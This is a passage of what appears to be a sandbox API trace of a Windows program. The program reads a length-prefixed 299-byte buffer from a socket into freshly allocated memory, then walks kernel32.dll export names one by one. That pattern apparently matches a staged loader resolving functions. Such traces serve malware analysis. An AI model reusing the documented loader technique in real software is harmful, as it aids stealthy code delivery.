recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0118.557] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0118.558] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0118.559] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0118.560] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0118.561] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0118.562] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0118.563] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0118.564] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0118.565] recv (in: s=0x544, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8cb, len=1, flags=0 | out: buf=0x2e7f8cb*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8cc, len=1, flags=0 | out: buf=0x2e7f8cc*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8cd, len=1, flags=0 | out: buf=0x2e7f8cd*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8ce, len=1, flags=0 | out: buf=0x2e7f8ce*) returned 1 [0118.566] recv (in: s=0x544, buf=0x2e7f8cf, len=1, flags=0 | out: buf=0x2e7f8cf*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d0, len=1, flags=0 | out: buf=0x2e7f8d0*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d1, len=1, flags=0 | out: buf=0x2e7f8d1*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d2, len=1, flags=0 | out: buf=0x2e7f8d2*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d3, len=1, flags=0 | out: buf=0x2e7f8d3*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d4, len=1, flags=0 | out: buf=0x2e7f8d4*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d5, len=1, flags=0 | out: buf=0x2e7f8d5*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d6, len=1, flags=0 | out: buf=0x2e7f8d6*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d7, len=1, flags=0 | out: buf=0x2e7f8d7*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d8, len=1, flags=0 | out: buf=0x2e7f8d8*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8d9, len=1, flags=0 | out: buf=0x2e7f8d9*) returned 1 [0118.567] recv (in: s=0x544, buf=0x2e7f8da, len=1, flags=0 | out: buf=0x2e7f8da*) returned 1 [0118.567] StrToIntA (lpSrc="299") returned 299 [0118.568] VirtualAlloc (lpAddress=0x0, dwSize=0x12b, flAllocationType=0x3000, flProtect=0x4) returned 0x3c70000 [0118.568] recv (in: s=0x544, buf=0x3c70000, len=299, flags=0 | out: buf=0x3c70000*) returned 299 [0118.568] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.569] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.569] VirtualFree (lpAddress=0x3c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.569] closesocket (s=0x544) returned 0 [0118.570] WSACleanup () returned 0 [0118.570] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.570] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.570] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.571] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.571] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.571] lstrlenA (lpString="kernel32.dll") returned 12 [0118.572] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.572] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.572] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.572] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.572] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.572] lstrlenA (lpString="ADDATOMA") returned 8 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.572] lstrlenA (lpString="ADDATOMW") returned 8 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.572] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.572] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.572] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.572] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.572] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.572] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.572] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.572] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.572] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.573] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.573] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.573] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.573] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.573] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.573] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.573] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.573] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.573] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.573] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.573] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.573] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.573] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.573] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.573] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.573] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.573] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.574] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.574] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.574] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.574] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.574] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.574] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.574] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.574] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.574] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.574] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.574] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.574] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.574] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.574] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.574] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.574] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.575] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.575] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.575] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.575] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.575] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.575] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.575] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" 